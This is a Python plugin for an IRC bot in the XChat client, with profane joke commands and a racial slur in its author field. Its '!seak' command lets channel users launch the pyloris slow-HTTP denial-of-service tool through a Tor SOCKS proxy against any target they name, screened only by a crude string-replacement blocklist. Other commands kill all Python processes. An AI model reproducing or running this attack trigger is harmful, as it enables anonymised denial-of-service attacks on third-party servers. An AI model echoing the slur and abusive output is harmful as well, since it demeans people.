#!/usr/bin/env python
# -*- coding: UTF-8 -*-

import xchat, StringIO, re, random, time, os
from threading import Thread

__module_name__ = "XD"
__module_version__ = "1.6"
__module_description__ = "xd"
__module_author__ = "nigger <irc:irc.icq.com>"

xchat.command("NICK Sethiro")
print "0,1Loaded %s" % __module_name__

#!snakes

def reply1(word, word_eol, userdata):
    p = re.compile('!snakes', re.IGNORECASE)
    m = p.search(word[1])
    if m:
        xchat.command("SAY 0,1I HAVE HAD IT WITH THESE MOTHERFUCKING SNAKES ON THIS MOTHERFUCKING PLANE.")
xchat.hook_print("Channel Message", reply1)

#!plz

def reply2(word, word_eol, userdata):
    p = re.compile('!plz', re.IGNORECASE)
    m = p.search(word[1])
    if m:
        xchat.command("SAY 0,1PLEASE! GOD DAMNIT! I HATE THIS HACKER CRAP!")
xchat.hook_print("Channel Message", reply2)

#!stfu

def reply3(word, word_eol, userdata):
    p = re.compile('!stfu', re.IGNORECASE)
    m = p.search(word[1])
    if m:
        s = word[1]
        xchat.strip(s)
        f = s.replace('"','HACKER CRAP')
        u = f.replace("'",'HACKER CRAP')
        BITCH = u.split("!stfu ")
        xchat.command("SAY 0,1" + BITCH[1].upper() + "0,1, I'D ADVISE YOU TO SHUT THE FUCK UP.")
xchat.hook_print("Channel Message", reply3)

#!blackball

def reply4(word, word_eol, userdata):
    p = re.compile('!blackball', re.IGNORECASE)
    m = p.search(word[1])
    if m:
        xchat.command("SAY 0,1" + random.choice(['Say what again. SAY WHAT AGAIN! I dare you, I double dare you, motherfucker! Say what one more goddamn time!','English, MOTHERFUCKER! Do-you-speak it?','When you absolutely, positively got to kill every motherfucker in the room','You racist motherfucker',"Oh now that's low, even for a white motherfucker like you.",'Outlook good, motherfucker','Probably.','It is decidedly so','Very doubtful','Cannot predict now.','Yes - definitely','Signs point to yes.','WHAT','You may rely on it.','Reply hazy']))
xchat.hook_print("Channel Message", reply4)

#!cmds

def reply5(word, word_eol, userdata):
    p = re.compile('!cmds', re.IGNORECASE)
    m = p.search(word[1])
    if m:
        xchat.command("SAY 0,1v1.6 - snakes, plz, stfu, blackball, cmds, cancer, seak, eol, and a couple of easter eggs :3 - zk")
xchat.hook_print("Channel Message", reply5)

#!cancer

def reply6(word, word_eol, userdata):
    p = re.compile('!cancer', re.IGNORECASE)
    m = p.search(word[1])
    if m:
        os.system('killall python')
        channel = xchat.get_info("channel")
        xchat.command("PART " + channel + " CANCER")
        time.sleep(15)
        xchat.command("JOIN " + channel)
xchat.hook_print("Channel Message", reply6)

#!seak TODO ref pyloris using os.system("locate")

def reply7(word, word_eol, userdata):
    p = re.compile('!seak', re.IGNORECASE)
    m = p.search(word[1])
    if m:
        xchat.command("SAY " + "5,1HEAT-SEAKING-MISSILES ARE NOW ONLINE")
        s = word[1]
        xchat.strip(s)
        h = s.replace('dcc send','HACKER CRAP')
        i = h.replace('127.0.0.1','HACKER CRAP')
        t = i.replace('localhost','HACKER CRAP')
        e = t.replace('.gov','HACKER CRAP')
        r = e.replace('google','HACKER CRAP')
        u = r.replace('192','HACKER CRAP')
        n = u.replace('.mil','HACKER CRAP')
        z = n.replace('$','CRAP')
        d = z.replace('|','CRAP')
        q = d.replace('-','CRAP')
        t = q.replace('&','CRAP')
        a = t.replace("'",'CRAP')
        b = a.replace('"','CRAP')
        c = b.replace('irc','CRAP')
        g = c.replace('/','CRAP')
        v = g.replace('!banme','CRAP')
        x = v.replace('!kickme','CRAP')
        a1 = x.replace('`','CRAP')
        b1 = a1.replace('12.120.3.169','CRAP')
        c1 = b1.replace('92.123.68.67','CRAP')
        d1 = c1.replace('198.81.129.125','CRAP')
        e1 = d1.replace('','CRAP')
        f1 = e1.replace('','CRAP')
        g1 = f1.replace('','CRAP')
        h1 = g1.replace('','CRAP')
        target = h1.split("!seak ")
        if target:
            class HEAT_SEAKING_MISSILES(Thread):
                def run ( self ):
                    os.system('python //home/u/Desktop/XChat_Bots/SAMUELLJACKSON_BOT/pyloris.py %s -l --socksversion 5 --sockshost 127.0.0.1 --socksport 9050 -f -k -s 500000 -w 0.5 -t 0.5 -r POST' % target[1])
            HEAT_SEAKING_MISSILES().start()
            xchat.command("SAY " + "5,1FUCK YEAH, SEAKING 5,1%s" % target[1].upper())
    k = re.compile('!kill', re.IGNORECASE)
    f = k.search(word[1])
    if f:
        os.system('killall python')
        xchat.command("SAY 5,1" + "SUCCESSFUL")
    elif f:
        xchat.command("SAY 5,1" + "FATAL FUCKING ERROR")
xchat.hook_print("Channel Message", reply7)

#!eol

def reply8(word, word_eol, userdata):
    p = re.compile('!eol', re.IGNORECASE)
    m = p.search(word[1])
    if m:
        xchat.command("SAY ╰▄︻▄╯ YEAAAAAAAAAAAAAAAAAAAAAH")
xchat.hook_print("Channel Message", reply8)

#!ಠ_ಠ

def reply9(word, word_eol, userdata):
    p = re.compile('!ಠ_ಠ', re.IGNORECASE)
    m = p.search(word[1])
    if m:
        xchat.command("SAY         ▄▄           ▄▄")
        xchat.command("SAY           █            █")
        xchat.command("SAY ▄▄▄▄▄▄▄▄▄▄▌  ▄▄▄▄▄▄▄▄▄▄▌")
        xchat.command("SAY  ▄█    █▄     ▄█    █▄")
        xchat.command("SAY ▐█  ██  █▌   ▐█  ██  █▌")
        xchat.command("SAY  ▀█    █▀     ▀█    █▀")
        xchat.command("SAY    ▀▀▀▀         ▀▀▀▀")
        xchat.command("SAY  ")
        xchat.command("SAY        ▄▄▄▄▄▄▄▄▄▄")
xchat.hook_print("Channel Message", reply9)